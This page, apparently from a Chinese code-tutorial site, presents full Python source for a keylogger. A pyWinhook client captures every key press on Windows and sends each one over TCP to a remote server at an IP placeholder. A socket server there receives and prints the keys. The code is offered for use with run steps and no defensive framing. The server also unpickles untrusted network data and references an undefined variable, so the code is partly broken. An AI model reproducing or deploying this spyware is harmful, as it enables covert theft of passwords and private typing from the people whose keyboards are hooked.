python实现监听键盘


Posted in Python onApril 26, 2021

python实现监听键盘,供大家参考,具体内容如下实现服务端

import pickle
from io import BytesIO
import socket

#接收数据
def Server_Recive(ip,port):
    socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    socket_obj.bind((ip,port))
    socket_obj.listen(5)

    file = 1

    while True:
        connection,address = socket_obj.accept()
  #接受的数据
        recieved_message = b''
        recieved_message_fragment = connection.recv(1024)
        while recieved_message_fragment:
            recieved_message += recieved_message_fragment
            recieved_message_fragment = connection.recv(1024)

        try:
            obj = pickle.loads(recieved_message)
            print(obj['Key'],end=' ')
        except EOFError:
            file_name = 'recv_image_' + str(file_on) + '.bmp'
            recv_image = open(file_name,'wb')
            recv_image.write(recieved_message)
            file_on += 1
        connection.close()


if __name__ == '__main__':
    Server_IP = '0.0.0.0'
    Server_Port = 6666
    Server_Recive(Server_IP,Server_Port)

键盘监听程序

#键盘监听

import pythoncom,pyWinhook,pickle,socket
from io import BytesIO

def Client_PIC(ip,port,obj):
    try:
        msg = pickle.dumps(obj)
        send_message = BytesIO(msg)
        send_message_fragment = send_message.read(1024)
    except:
        send_message = obj
        send_message_fragment = send_message.read(1024)

    socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    socket_obj.connect((ip,port))

    while send_message_fragment:
        socket_obj.send(send_message_fragment)
        send_message_fragment = send_message.read(1024)

    socket_obj.close()


def OnkeyBoardEvent(event):
    dict_key = {}
    dict_key['MessageName'] = event.MessageName
    dict_key['Key'] = event.Key

    Client_PIC('你自己的ip地址',6666,dict_key)
    return True

def Keylogger():
    hm = pyWinhook.HookManager()
    hm.KeyDown = OnkeyBoardEvent
    hm.HookKeyboard()
    pythoncom.PumpMessages()

if __name__ == '__main__':
    Keylogger()

其中的pythoncom,pyWinhook百度查找安装方法,在此不赘述

运行(先运行服务端,而后运行监听程序)

python实现监听键盘

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
Python高效编程技巧
Jan 07 Python
python的三目运算符和not in运算符使用示例
Mar 03 Python
python MySQLdb Windows下安装教程及问题解决方法
May 09 Python
Python实现图片转字符画的示例
Aug 22 Python
利用Tkinter(python3.6)实现一个简单计算器
Dec 21 Python
Python实现的生成格雷码功能示例
Jan 24 Python
使用Django2快速开发Web项目的详细步骤
Jan 06 Python
python把转列表为集合的方法
Jun 28 Python
Python手绘可视化工具cutecharts使用实例
Dec 05 Python
在pycharm中文件取消用 pytest模式打开的操作
Sep 01 Python
python利用后缀表达式实现计算器功能
Feb 22 Python
pytorch MSELoss计算平均的实现方法
May 12 Python
python如何做代码性能分析
Apr 26 #Python
Python字符串对齐方法使用(ljust()、rjust()和center())
Apr 26 #Python
python如何进行基准测试
Apr 26 #Python
python实现简单的名片管理系统
Python实战之实现康威生命游戏
Python 制作自动化翻译工具
教你用Python写一个植物大战僵尸小游戏
You might like
模拟OICQ的实现思路和核心程序(一)
2006/10/09 PHP
深入理解PHP原理之Session Gc的一个小概率Notice
2011/04/12 PHP
解析PHP函数array_flip()在重复数组元素删除中的作用
2013/06/27 PHP
php中常见的sql攻击正则表达式汇总
2014/11/06 PHP
Laravel中的Auth模块详解
2017/08/17 PHP
Avengerls vs Newbee BO3 第一场2.18
2021/03/10 DOTA
基于jQuery的消息提示插件之旅 DivAlert(三)
2010/04/01 Javascript
functional继承模式 摘自javascript:the good parts
2011/06/20 Javascript
jquery 字符串切割函数substring的用法说明
2014/02/11 Javascript
jquery.cookie实现的客户端购物车操作实例
2015/12/24 Javascript
Javascript字符串拼接小技巧(推荐)
2016/06/02 Javascript
javascript内存分配原理实例分析
2017/04/10 Javascript
基于jquery日历价格、库存等设置插件
2020/07/05 jQuery
Angular项目从新建、打包到nginx部署全过程记录
2017/12/09 Javascript
js正则相关知识点专题
2018/05/10 Javascript
Node.js引入UIBootstrap的方法示例
2018/05/11 Javascript
详解webpack打包nodejs项目(前端代码)
2018/09/19 NodeJs
javascript匿名函数中的'return function()'作用
2018/10/15 Javascript
微信小程序云开发实现增删改查功能
2019/05/17 Javascript
Vue实现回到顶部和底部动画效果
2019/07/31 Javascript
javascript实现滚轮轮播图片
2020/12/13 Javascript
[43:58]DOTA2上海特级锦标赛C组败者赛 Newbee VS Archon第二局
2016/02/27 DOTA
2款Python内存检测工具介绍和使用方法
2014/06/01 Python
python解析xml文件操作实例
2014/10/05 Python
Python Django模板之模板过滤器与自定义模板过滤器示例
2019/10/18 Python
pyinstaller打包程序exe踩过的坑
2019/11/19 Python
使用python远程操作linux过程解析
2019/12/04 Python
Python+Appium实现自动化测试的使用步骤
2020/03/24 Python
马来西亚航空官方网站:Malaysia Airlines
2017/07/28 全球购物
飞利信loadrunner和软件测试笔试题
2012/09/22 面试题
经济管理专业毕业生自荐信范文
2014/01/02 职场文书
自主招生教师推荐信
2014/05/10 职场文书
租赁协议书
2015/01/27 职场文书
整改通知书格式
2015/04/22 职场文书
初一数学教学反思
2016/02/17 职场文书
情侣餐厅的创业计划书范本!
2019/07/26 职场文书